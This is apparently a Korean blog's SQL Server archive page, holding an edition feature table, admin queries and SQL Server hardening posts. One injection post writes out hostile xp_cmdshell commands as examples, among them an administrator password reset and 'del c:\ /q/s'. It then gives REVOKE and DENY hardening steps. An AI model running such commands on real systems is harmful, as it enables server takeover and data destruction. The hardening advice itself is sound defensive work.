'SQL'에 해당되는 글 62건

  1. 2012/12/06 SQL Server 2012 버전에서 지원하는 기능
  2. 2009/12/08 테이블 별 용량 확인 / 레코드 수
  3. 2009/09/11 데이터베이스 구조만 옮기기
  4. 2009/06/19 Mssql 2005 포트 변경시 접속할 경우
  5. 2009/06/15 SQL 2005 and the "MUST_CHANGE" policy
  6. 2008/10/16 보안에 문제가 될 수 있는 xp_cmdshell 삭제하기
  7. 2008/10/16 SQL Injection (SQL 인젝션)에 대한 보안
  8. 2008/09/30 SQL 튜닝 관련 글
  9. 2008/09/19 현재 DB 연결중인 Connection의 갯수
  10. 2008/06/24 Mysql 연결
  11. 2008/06/18 DBCC CHECKTABLE(databasename.dbo.Tablename , repair_allow_data_loss) 결과
  12. 2008/06/16 DBCC CHECKDB
  13. 2008/06/05 미디어 세트에 2개의 미디어 패밀리가...
  14. 2008/05/29 xp_cmdshell 활용2
  15. 2008/05/29 xp_cmdshell 활용1
  16. 2008/04/10 모니터링 해야 할 중국 해킹 사이트
  17. 2008/04/03 파일 그룹이 꽉 차서 할당할 수 없다는 에러 메세지 해결
  18. 2008/03/25 Ad hoc ( 임시쿼리 ) 와 저장프로시저
  19. 2008/03/20 Mssql 2005 클라이언트 프로그램
  20. 2008/03/14 SQL 인젝션 기본
  21. 2008/03/11 무료 SQL 인젝션 스캐너 15 제품 요약 정리
  22. 2008/02/26 SQL서버를 활용한 성능카운터 수집
  23. 2008/01/28 SQL Server 2005 DTS 가져오기/내보내기 마법사로 패키지 생성
  24. 2008/01/16 SQL 2005 Agent 에러 및 실행 안될때
  25. 2008/01/07 sql server 2005 미러링 구성 및 주의 사항
  26. 2007/12/12 @@IDENTITY
  27. 2007/12/10 오류 18483 : 'distributor_admin'이 서버에서...
  28. 2007/11/06 SQL INjection
  29. 2007/11/06 웹 관리자를 위한 응급처치법 SQL Injection 해킹 보안
  30. 2007/11/05 데이터베이스 축소

SQL Server 2012 버전에서 지원하는 기능

SQL 2012/12/06 18:07

SQL Server 2012 버전에서 지원하는 기능

SQL Server 2012
이 항목은 아직 평가되지 않았습니다.- 이 항목 평가

이 항목은 다른 SQL Server 2012 버전에서 지원되는 기능의 세부 정보를 제공합니다.

참고참고

SQL Server는 180일 동안 사용할 수 있는 평가판 버전에서 제공됩니다. 자세한 내용은 SQL Server 평가판 소프트웨어 웹 사이트를 참조하십시오.

참고참고

Evaluation 및 Developer 버전에서 지원하는 기능은 SQL Server Enterprise 기능 집합을 참조하십시오.

SQL Server 기술과 관련된 표로 이동하려면 해당 링크를 클릭합니다.

교차 상자 확장 제한

고가용성(AlwaysOn)

확장성 및 성능

보안

복제

관리 도구

RDBMS 관리 효율

개발 도구

프로그래밍 기능

Integration Services

Integration Services - 고급 어댑터

Integration Services - 고급 변환

Master Data Services

데이터 웨어하우스

Analysis Services

BI 의미 체계 모델(다차원)

BI 의미 체계 모델(테이블 형식)

SharePoint용 PowerPivot

데이터 마이닝

Reporting Services

Business Intelligence 클라이언트

공간 및 위치 서비스

추가 데이터베이스 서비스

기타 구성 요소

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

단일 인스턴스에서 사용되는 최대 계산 용량(SQL Server 데이터베이스 엔진)1

운영 체제가 지원하는 최대 크기

소켓 4개 또는 코어 16개 미만으로 제한됨

소켓 4개 또는 코어 16개 미만으로 제한됨

소켓 4개 또는 코어 16개 미만으로 제한됨

소켓 1개 또는 코어 4개 미만으로 제한됨

소켓 1개 또는 코어 4개 미만으로 제한됨

소켓 1개 또는 코어 4개 미만으로 제한됨

단일 인스턴스에서 사용되는 최대 계산 용량(Analysis Services, Reporting Services)1

운영 체제가 지원하는 최대 크기

운영 체제가 지원하는 최대 크기

소켓 4개 또는 코어 16개 미만으로 제한됨

소켓 4개 또는 코어 16개 미만으로 제한됨

소켓 1개 또는 코어 4개 미만으로 제한됨

소켓 1개 또는 코어 4개 미만으로 제한됨

소켓 1개 또는 코어 4개 미만으로 제한됨

최대 메모리 사용량(SQL Server 데이터베이스 엔진)

운영 체제가 지원하는 최대 크기

64GB

64GB

64GB

1GB

1GB

1GB

최대 메모리 사용량(Analysis Services)

운영 체제가 지원하는 최대 크기

운영 체제가 지원하는 최대 크기

64GB

해당 없음

해당 없음

해당 없음

해당 없음

최대 메모리 사용량(Reporting Services)

운영 체제가 지원하는 최대 크기

운영 체제가 지원하는 최대 크기

64GB

64GB

4GB

해당 없음

해당 없음

최대 관계형 데이터베이스 크기

524PB

524PB

524PB

524PB

10GB

10GB

10GB

1Server + CAL(클라이언트 액세스 라이선스) 기반 라이선스가 포함된 엔터프라이즈 버전은 SQL Server 인스턴스마다 최대 20개의 코어로 제한됩니다.자세한 내용은 SQL Server의 버전별 계산 용량 제한을 참조하십시오.

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

Server Core 지원1

로그 전달

데이터베이스 미러링

지원(Safety Full만)

지원(Safety Full만)

미러링 모니터만

미러링 모니터만

미러링 모니터만

미러링 모니터만

장애 조치(Failover) 클러스터링

지원(노드 지원: 운영 체제가 지원하는 최대 크기

지원(노드 지원: 2)

지원(노드 지원: 2)

백업 압축

데이터베이스 스냅숏

AlwaysOn 가용성 그룹

SQL Server 다중 서브넷 클러스터링

Connection Director

온라인 페이지 및 파일 복원

온라인 인덱싱

온라인 스키마 변경

빠른 복구

미러된 백업

Hot Add 메모리 및 CPU2

데이터베이스 복구 관리자

1Server Core에 SQL Server 2012 설치하는 방법은 Server Core에 SQL Server 2012 설치를 참조하십시오.

2이 기능은 64비트 SQL Server에서만 사용할 수 있습니다.

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

다중 인스턴스 지원

50

50

50

50

50

50

50

테이블 및 인덱스 분할

데이터 압축

리소스 관리자

파티션 테이블 병렬 처리

여러 Filestream 컨테이너

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

기본 감사

미세 감사

투명한 데이터베이스 암호화

확장 가능 키 관리

사용자 정의 역할

포함된 데이터베이스

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

SQL Server 변경 내용 추적

병합 복제

예(구독자만)

예(구독자만)

예(구독자만)

예(구독자만)

트랜잭션 복제

예(구독자만)

예(구독자만)

예(구독자만)

예(구독자만)

스냅숏 복제

예(구독자만)

예(구독자만)

예(구독자만)

예(구독자만)

다른 유형의 구독자

Oracle 게시

피어 투 피어 트랜잭션 복제

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

SMO(SQL Management Objects)

SQL 구성 관리자

SQL CMD(명령 프롬프트 도구)

SQL Server Management Studio

분산 재생 - 관리 도구

분산 재생 - 클라이언트

분산 재생 - 컨트롤러

예(Enterprise는 최대 16 클라이언트 지원, Developer는 1 클라이언트만 지원)

예(1 클라이언트만 지원)

예(1 클라이언트만 지원)

예(1 클라이언트만 지원)

SQL 프로파일러

아니요2

아니요2

아니요2

아니요2

SQL Server 에이전트

Microsoft System Center Operations Manager 관리 팩

DTA(데이터베이스 튜닝 관리자)

3

3

2 SQL Server Web, SQL Server Express, SQL Server Express with Tools 및 SQL Server Express with Advanced Services는 SQL Server Standard 및 SQL Server Enterprise Edition을 사용하여 프로파일링할 수 있습니다.

3 튜닝은 Standard Edition 기능에서만 활성화됩니다.

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

사용자 인스턴스

LocalDB

관리자 전용 연결

지원(추적 플래그 사용)

지원(추적 플래그 사용)

지원(추적 플래그 사용)

PowerShell 스크립팅 지원

SysPrep 지원1

데이터 계층 응용 프로그램 구성 요소 작업 지원 - 추출, 배포, 업그레이드, 삭제

정책 자동화(일정 및 변경 내용 검사)

성능 데이터 수집기

다중 인스턴스 관리에서 관리되는 인스턴스로 등록 가능

표준 성능 보고서

계획 지침을 위한 계획 지침 및 계획 고정

인덱스 뷰의 직접 쿼리(NOEXPAND 힌트 사용)

인덱싱된 뷰의 자동 유지 관리

분산형 분할 뷰

부분분산형 분할 뷰는 업데이트할 수 없음

부분분산형 분할 뷰는 업데이트할 수 없음

부분분산형 분할 뷰는 업데이트할 수 없음

부분분산형 분할 뷰는 업데이트할 수 없음

부분분산형 분할 뷰는 업데이트할 수 없음

부분분산형 분할 뷰는 업데이트할 수 없음

병렬 인덱스 작업

쿼리 최적화 프로그램의 인덱싱된 뷰 자동 사용

병렬 일관성 검사

SQL Server 유틸리티 제어 지점

포함된 데이터베이스

1 SysPrep은 독립 실행형 인스턴스의 데이터베이스 엔진 및 Reporting Services에만 지원됩니다.자세한 내용은 SysPrep을 사용하여 SQL Server 설치 시 고려 사항을 참조하십시오.

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

Microsoft Visual Studio 통합

SQL Server Developer Studio

Intellisense(Transact-SQL 및 MDX) 1

SQL Server Data Tools(SSDT)

SQL 쿼리, 편집 및 디자인 도구1

버전 제어 지원1

MDX 편집, 디버그 및 디자인 도구1

1 이 기능은 64비트 버전의 Standard Edition에서는 사용할 수 없습니다.

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

CLR(공용 언어 런타임) 통합

네이티브 XML 지원

XML 인덱싱

MERGE & UPSERT 기능

FILESTREAM 지원

FileTable

날짜 및 시간 데이터 형식

국제화 지원

전체 텍스트 및 의미 체계 검색

쿼리에서 언어 지정

Service Broker(메시징)

아니요(클라이언트 전용)

아니요(클라이언트 전용)

아니요(클라이언트 전용)

아니요(클라이언트 전용)

웹 서비스(HTTP/SOAP 끝점)

TSQL 끝점

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

기능

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

SQL Server 가져오기 및 내보내기 마법사

기본 제공 데이터 원본 커넥터

SSIS 디자이너 및 런타임

기본 변환

기본 데이터 프로파일링 도구

Attunity Oracle CDC Service

Attunity Oracle CDC Designer

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

Integration Services - 고급 어댑터

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

성능 우선 Oracle 대상

성능 우선 Teradata 대상

SAP BW 원본 및 대상

데이터 마이닝 모델 학습 대상 어댑터

차원 처리 대상 어댑터

파티션 처리 대상 어댑터

Attunity의 변경 데이터 캡처 구성 요소

Attunity의 Connector for ODBC(Open Database Connectivity)

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

Integration Services - 고급 변환

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

지속성(성능 우선) 조회

데이터 마이닝 쿼리 변환

유사 항목 그룹화 및 조회 변환

용어 추출 및 조회 변환

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

참고참고
  • Master Data Services는 Business Intelligence 및 Enterprise 64비트 버전에서만 사용할 수 있습니다.

기능

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

Master Data Services 데이터베이스

마스터 데이터 관리자 웹 응용 프로그램

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

데이터베이스 없이 큐브 만들기

준비 및 데이터 웨어하우스 스키마 자동 생성

변경 데이터 캡처

스타 조인 쿼리 최적화

확장 가능한 읽기 전용 Analysis Services 구성

분할된 테이블 및 인덱스의 병렬 쿼리 처리

xVelocity 메모리 최적화 columnstore 인덱스

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

확장 가능한 공유 데이터베이스(연결/분리, 읽기 전용 데이터베이스)

고가용성

프로그래밍 기능(AMO, ADOMD.Net, OLEDB, XML/A, ASSL)

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

BI 의미 체계 모델(다차원)

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

반가산적 측정값

아니요1

계층 구조

KPI

큐브 뷰

동작

계정 인텔리전스

시간 인텔리전스

사용자 지정 롤업

큐브 쓰기 저장(writeback)

차원 쓰기 저장(Writeback)

셀 쓰기 저장(writeback)

드릴스루

고급 계층 유형(부모-자식, 비정형 계층 구조)

고급 차원(참조 차원, 다 대 다 차원

연결된 측정값 및 차원

번역

집계

여러 파티션

예, 최대 3

자동 관리 캐싱

사용자 지정 어셈블리(저장 프로시저)

MDX 쿼리 및 스크립트

역할 기반 보안 모델

차원 및 셀 수준 보안

확장 가능 문자열 저장소

MOLAP, ROLAP, HOLAP 저장소 모델

이진 및 압축 XML 전송

밀어넣기 모드 처리

직접 쓰기 저장(writeback)

측정값 식

1스탠더드 버전에서 LastChild 반가산적 측정값은 지원되지만 None, FirstChild, FirstNonEmpty, LastNonEmpty, AverageOfChildren 및 ByAccount와 같은 다른 반가산적 측정값은 지원되지 않습니다.Sum, Count, Min, Max와 같은 가산적 측정값과 비가산적 측정값(DistinctCount)은 모든 버전에서 지원됩니다.

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

BI 의미 체계 모델(테이블 형식)

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

계층

KPI

반가산적 측정값

큐브 뷰

번역

DAX 계산, DAX 쿼리, MDX 쿼리

행 수준 보안

파티션

메모리 내 및 DirectQuery 저장소 모드(테이블 형식만 해당)

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

SharePoint용 PowerPivot

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

공유 서비스 아키텍처를 기반으로 하는 SharePoint 팜 통합

사용 보고

상태 모니터링 규칙

PowerPivot 갤러리

PowerPivot 데이터 새로 고침

PowerPivot 데이터 피드

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

데이터 마이닝

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

표준 알고리즘

데이터 마이닝 도구(마법사, 편집기, 쿼리 작성기)

교차 유효성 검사

마이닝 구조 데이터의 필터링된 하위 집합에 대한 모델

시계열: ARTXP 및 ARIMA 방식 간의 사용자 지정 혼합

시계열: 새 데이터를 사용한 예측

무제한 동시 DM 쿼리

데이터 마이닝 알고리즘용 고급 구성 및 튜닝 옵션

플러그 인 알고리즘 지원

병렬 모델 처리

시계열: 계열 간 예측

연결 규칙에 대한 무제한 특성

시퀀스 예측

Naive Bayes, 신경망, 로지스틱 회귀를 위한 다중 예측 대상

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

Reporting Services 기능

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

지원되는 카탈로그 DB SQL Server 버전

Standard 이상

Standard 이상

Standard 이상

Web

Express

지원되는 데이터 원본 SQL Server 버전

모든 SQL Server 버전

모든 SQL Server 버전

모든 SQL Server 버전

Express

보고서 서버

보고서 디자이너

보고서 관리자

역할 기반 보안

Word 내보내기 및 서식 있는 텍스트 지원

향상된 계기 및 차트

Excel, PDF 및 이미지로 내보내기

사용자 지정 인증

데이터 피드로 보고서 사용

모델 지원

역할 기반 보안을 위해 사용자 지정 역할 만들기

모델 항목 보안

무한 클릭 광고

공유 구성 요소 라이브러리

전자 메일 및 파일 공유 구독/일정 예약

보고서 기록, 스냅숏 실행 및 캐싱

SharePoint 통합

원격 및 비 SQL 데이터 원본 지원1

데이터 원본, 배달 및 렌더링, RDCE 확장성

데이터 기반 보고서 구독

확장 배포(웹 팜)

경고2

Power View2

1SQL Server 2012 Reporting Services(SSRS)에서 지원되는 데이터 원본에 대한 자세한 내용은 Reporting Services에서 지원하는 데이터 원본(SSRS)을 참조하십시오.

2SharePoint 모드의 Reporting Services가 필요합니다.자세한 내용은 Power View 및 데이터 경고를 위한 Reporting Services SharePoint 모드 보고서 서버 설치를 참조하십시오.

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

보고서 서버 데이터베이스 서버 버전 요구 사항

보고서 서버 데이터베이스를 만들 때 일부 SQL Server 버전은 데이터베이스 호스팅에 사용할 수 없습니다.다음 표에서는 Reporting Services의 특정 버전에 사용할 수 있는 데이터베이스 엔진 버전을 보여 줍니다.

SQL Server Reporting Services 에디션

데이터베이스 호스팅에 사용할 데이터베이스 엔진 인스턴스 버전

Enterprise

Standard, Business Intelligence, Enterprise 버전(로컬 또는 원격)

비즈니스 인텔리전스

Standard, Business Intelligence Enterprise 버전(로컬 또는 원격)

Standard

Standard, Enterprise Edition(로컬 또는 원격)

Web

Web Edition(로컬 전용)

Express with Advanced Services

Express with Advanced Services(로컬 전용)

Evaluation

Evaluation

Microsoft 다운로드 센터에서 제공하는 다음 소프트웨어 클라이언트 응용 프로그램을 사용하면 SQL Server 인스턴스에서 실행되는 비즈니스 인텔리전스 문서를 손쉽게 만들 수 있습니다.이러한 문서를 서버 환경에서 호스팅하려는 경우 해당 문서 유형을 지원하는 SQL Server 버전을 사용하십시오.다음 표에서는 이러한 클라이언트 응용 프로그램에서 만든 문서를 호스팅하는 데 필요한 서버 기능이 있는 SQL Server 버전을 보여 줍니다.

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

보고서 작성기

Excel 및 Visio 2010용 데이터 마이닝 추가 기능

PowerPivot for Excel 2010

Master Data Services Excel용 추가 기능

참고참고
  1. PowerPivot for Excel은 Excel 추가 기능이며 SQL Server에 종속되지 않습니다.그러나 SharePoint용 PowerPivot은 SharePoint에서 PowerPivot통합 문서를 공유하고 공동 작업하는 데 필요하며 이 기능은 SQL Server Enterprise 및 비즈니스 인텔리전스 버전의 일부로 사용할 수 있습니다.

  2. 위의 표는 이러한 클라이언트 도구를 활성화하는 데 필요한 SQL Server 버전을 식별하지만 이러한 기능은 모든 SQL Server 버전에서 호스팅되는 데이터에 액세스할 수 있습니다.

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

공간 인덱스

평면 및 측지 데이터 형식

고급 공간 라이브러리

산업 표준 공간 데이터 형식 가져오기/내보내기

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

SQL Server 마이그레이션 길잡이

데이터베이스 메일

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

기능 이름

Enterprise

비즈니스 인텔리전스

Standard

Web

Express with Advanced Services

Express with Tools

Express

Data Quality Services

StreamInsight

StreamInsight Premium Edition

StreamInsight Standard Edition

StreamInsight Standard Edition

StreamInsight Standard Edition

StreamInsight HA

StreamInsight Premium Edition

맨 위로 이동 링크와 함께 사용되는 화살표 아이콘맨 위로 이동

Comment 0

테이블 별 용량 확인 / 레코드 수

SQL 2009/12/08 17:58

테이블 별 용량 확인

select t_name = convert(varchar(30), min(o.name)), T_sz = ltrim(str(sum(reserved) * 8192 / 1024 / 1024.,15,0) + 'MB') from sysindexes i inner join sysobjects o on (o.id = i.id) where i.indid in (0, 1, 255) and o.xtype = 'U' group by i.id order by t_name asc


테이블 별 레코드 수

SELECT o.name, i.rows FROM sysindexes i INNER JOIN sysobjects o ON i.id = o.id WHERE i.indid < 2 AND o.xtype = 'U' ORDER BY o.name


Comment 0

데이터베이스 구조만 옮기기

SQL 2009/09/11 10:32

옮기고 싶은 데이터베이스를 선택 -> 작업 -> 스크립트 생성

인터페이스에 맞게 .sql 파일을 생성

생성하고 싶은 데이터베이스를 생성 -> .sql 를 불러와서 젤 위의 use [Database] 부분을 바꾸고 실행

Comment 0

Mssql 2005 포트 변경시 접속할 경우

SQL/Mssql 2005 2009/06/19 15:06

IP,Port

111.111.111.111,5000

Comment 0

SQL 2005 and the "MUST_CHANGE" policy

SQL/Mssql 2005 2009/06/15 11:40
DB User X has a password set to Y, and when created that user was created with the default settings - thus automatically checking the little attribute on the user telling the server that the user has to change the password at first login.

Let's say you're migrating a solution/db to SQL 2005. In this case you probably don't wanna change the password since this user, along with the associated password, is likely used in an application somewhere somehow.. so, what do you do? you go to the server, find the user in the management studio, and you try to edit it since this user should not have a password policy at all, we know the username and password should be what is set. well, sorry, but if this happened to you then you probably noticed that if you try to uncheck the "Enforce password policy" and/or "Enforce password expiration" and click "ok" you'll be hit with an error saying the changes can't be made due to the "MUST_CHANGE" flag is set on the user..

This really annoyed me a lot, so here's a little workaroud that might help you:

  • Open the management studio and connect to the server with sufficient rights
  • start a blank query
  • run "ALTER LOGIN X WITH PASSWORD = 'Y' UNLOCK" (replace X & Y with username and password of course)

By following the above steps you should now be able to go back to the user and uncheck the checkboxes without any trouble.

To make the changes without using the management studio you can run the following in a query..

To change the password and keep the MUST_CHANGE flag:
ALTER LOGIN X WITH PASSWORD = 'Y' UNLOCK MUST_CHANGE

To uncheck the checkboxes for expiration and/or policy (change "OFF" to "ON" to check):
ALTER LOGIN X WITH CHECK_EXPIRATION = OFF
ALTER LOGIN X WITH CHECK_POLICY = OFF

Comment 0

보안에 문제가 될 수 있는 xp_cmdshell 삭제하기

SQL/Mssql 2000 2008/10/16 15:24

원본링크 : Implications of removing the xp_cmdshell stored procedure from SQL Server 2000
- http://support.microsoft.com/kb/891984/en-us

How to drop the xp_cmdshell stored procedure
- system administrator user right 필요
- to-drop :
exec sp_dropextendedproc 'xp_cmdshell'
- re-add : exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'

영향받는 stored procedure List

sp_ActiveDirectory_SCP sp_adddistpublisher sp_adddistributiondb sp_attachsubscription sp_changedistpublisher sp_copysubscription sp_MScopysnapshot sp_MScopyscriptfile sp_MSget_file_existence sp_MSremove_userscript sp_replicationoption sp_vupgrade_replication
sp_MSreplremoveuncdir sp_MSdeletefoldercontents sp_resolve_logins Sp_set_local_time sp_msx_defect sp_msx_enlist Xp_sscanf Xp_sprintf Xp_msver Xp_msver Xp_enumgroups Xp_logevent Xp_loginconfig

삭제하게 되면서 발생할 수 있는 메세지

ODBC: Msg 0, Level 16, State 1
Cannot load the DLL xplog70.dll, or one of the DLLs it references. Reason: 126(The specified module could not be found.).

Trying to configure Distributor for "server"
Fails with Error 2812: Could not find stored procedure 'master..xp_cmdshell'

Status: 0, code: 1007, text: 'Cannot load the DLL xplog70.dll, or one of the DLLs it references. Reason: 126(The specified module could not be found.).'.
Cannot load the DLL xplog70.dll, or one of the DLLs it references. Reason: 126(The specified module could not be found.).
Repl Agent Status: 6

An error occurred trying to execute a SQL Statement.

"Cannot enlist server 'ServerName' . Please upgrade server 'ServerName' to SQL Server 2000 sp3 or later.

“Cannot load the DLL xplog70.dll or one of the DLLs it references. Reason: 126(The specified module could not be found)
ServerName xp_msver


xplog70.dll을 삭제하고서 SQL Server Restart하면 더이상 sp_addextendedproc를 사용해서 등록할 수 없다.
쿼리분석기에서 다시 sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'을 실행하면 정상적으로 실행되지만,
xp_cmdshell 'dir' 와 같이 실행하면,
ODBC: 메시지 0, 수준 16, 상태 1
xplog70.dll DLL 또는 이 DLL이 참조하는 DLL 중 하나를 로드할 수 없습니다. 이유: 126(지정된 모듈을 찾을 수 없습니다.). 라는 메세지를 뿌리면서 실패하게 된다.
Comment 0

SQL Injection (SQL 인젝션)에 대한 보안

SQL/Sql Injection 2008/10/16 11:00
기업 보안이 중요시 되고 있는 지금 SQL 인젝션에 인한 피해 또한 급증하고 있는 추세이다.  권한 제거라는 간단한 방법이 있으나 자칫 한순간의 방심으로 기업 방화벽만을 믿고 이를 묵고한다면 엄청난 피해를 초래할 수 있기에 다음과 같은 내용을 서술하고자 한다.  DB Owner Account로 생성된 어플리케이션들의 공통된 특징 중 하나가 바로 System Object 들에 대한 권한제어가 적절하게 이루어 지지 않는다는 점이다. DB Owner Account가 아닐지라도, System Object중에 불필요하게 public 계정에 대해 실행권한이 있는 것들이 있다. 따라서, SQL Server를 설치한 후에 해당 object들에 대해 권한 제거 작업을 진행하길 바란다.

 서버 관리에 있어 가장 치명적인 문제로 꼽을 수 있는 서버 패스워드 유출이 단 한줄의 쿼리문으로 발생할 수 있다면 믿겠는가?  물론 패스워드 뿐만 아니라 시스템상의 파일 트리를 조회하거나 중요 파일들을 삭제할 수도 있다.

 이를 가능하게 하는 대표적인 저장 프로시저가 바로 xp_cmdshell 이다. master db의 확장 프로시저 중 하나인 xp_cmdshell은 지정된 문자열을 Shell을 통해 실행할 수 있는 기능을 가지고 있다. 따라서, 이 확장프로시저에 대한 권한을 가지고 있다면 앞서 언급한 피해를 타겟이 되는 기업 서버에 줄 수 있다.

 아래 3가지 항목을 토대로 한 SQL Injection 기법을 이용하여 해당 시스템을 공격할 수 있게 된다.
1 ) exec master..xp_cmdshell 'net user administrator password'
   디폴트 유저인 administrator의 패스워드 변경 혹은 신규 Server Admin계정 추가
2 ) exec master..xp_cmdshell 'dir c:\'
   C 드라이브에 대한 정보 및 디렉토리 정보 반환
3 ) exec master..xp_cmdshell 'del c:\ /q/s'
   C 드라이브의 중요 파일 삭제

 만약, 현재 서버에서 3389 포트를 사용하는 원격 지원 서비스가 실행중이라면 xp_cmdshell을 통한 비밀번호 변경 혹은 Server Admin 유저를 신규로 추가하는 등의 방법으로 원격지에서 서버 접속이 가능하게되며 이러한 경우 마치 서버 앞에서 서버를 조작하는것과 동일한 방식으로 해당 서버를 제한없이 컨트롤 할 수 있게 된다.

 이러한 확장 프로시저의 노출로 야기될 최악의 사태를 방지하기 위해 사용이 불필요할 경우 아래 쿼리문을 실행하여 xp_cmdshell 프로시저를 임시로 Drop하기 바란다.

USE master
GO
IF OBJECT_ID('[dbo].[xp_cmdshell]') IS NOT NULL BEGIN
   EXEC sp_dropextendedproc 'xp_cmdshell'
END
GO

 여기에 덧붙여 System Admin계정의 ID를 administrator로 사용하는 사례가 많은데, 각 서버 사용사의 고유한 ID를 등록하여 사용 하는 것이 보다 나은 보안 효과를 기대할 수 있겠다.

 그러나 앞서 다룬 xp_cmdshell을 통한 SQL Injection 이외에도 public 계정들에 대한 확장 프로시저로 권한을 획득하여 시스템을 공격할 수 있으니 아래 나열한 쿼리문의 실행을 통해 불필요한 프로시저를 Drop하도록 하자.  (프로시저들을 Drop하더라도 필요에 따라 재등록할 수 있다.)

1) master database
·  확장 프로시저 퍼미션 삭제
·  REVOKE EXECUTE ON xp_regread FROM public
·  REVOKE EXECUTE ON xp_instance_regread FROM public GO
·  sp_runwebtask 접근을 통한 web task 실행 권한 획득 방지
·  REVOKE EXECUTE ON dbo.sp_runwebtask FROM public GO

2) msdb database
·  Agent Job 접근을 통한 권한 확대 방지
·  REVOKE EXECUTE ON sp_add_job FROM public
·  REVOKE EXECUTE ON sp_add_jobstep FROM public
·  REVOKE EXECUTE ON sp_add_jobserver FROM public
·  REVOKE EXECUTE ON sp_start_job FROM public
·  mswebtasks 테이블을 통한 web task 관리 권한 획득 방지
·  REVOKE ALL ON dbo.mswebtasks FROM public
·  DTS packages 를 통한 administrator 패스워드 유출 방지
·  REVOKE EXECUTE ON sp_enum_dtspackages FROM public
·  REVOKE EXECUTE ON sp_get_dtspackage FROM public
·  SQL Agent Password 노출 방지
·  REVOKE EXECUTE ON sp_get_sqlagent_properties FROM public

 프로시저들의 Drop후에도 dll 파일은 남아 있으니 아래 쿼리를 실행하여 제거한다.

·  dbcc xp_cmdshell(free)
·  dbcc xp_dirtree(free)
·  dbcc xp_regdeletekey(free)
·  dbcc xp_regenumvalues(free)
·  dbcc xp_regread(free)
·  dbcc xp_regwrite(free)
·  dbcc sp_makewebtask(free)
·  dbcc sp_adduser(free)

 다음으로 SQL Injection을 유발시킬 수 있는 시스템 DB상에 존재하는 프로시저들의 EXCUTE권한을 DENY하겠다.  해당 프로시저들을 통해 시스템의 정보를 조회하고 변경할 수 있으니 필수적으로 DENY해야 할 권한들이다.
 
·  DENY  EXECUTE  ON [master].[dbo].[xp_subdirs] TO [guest] CASCADE
·  DENY  EXECUTE  ON [master].[dbo].[xp_dirtree] TO [guest] CASCADE
·  DENY  EXECUTE  ON [master].[dbo].[xp_availablemedia] TO [guest] CASCADE
·  DENY  EXECUTE  ON [master].[dbo].[xp_regwrite] TO [guest] CASCADE
·  DENY  EXECUTE  ON [master].[dbo].[xp_regread] TO [guest] CASCADE
·  DENY  EXECUTE  ON [master].[dbo].[xp_regaddmultistring] TO [guest] CASCADE
·  DENY  EXECUTE  ON [master].[dbo].[xp_regdeletekey] TO [guest] CASCADE
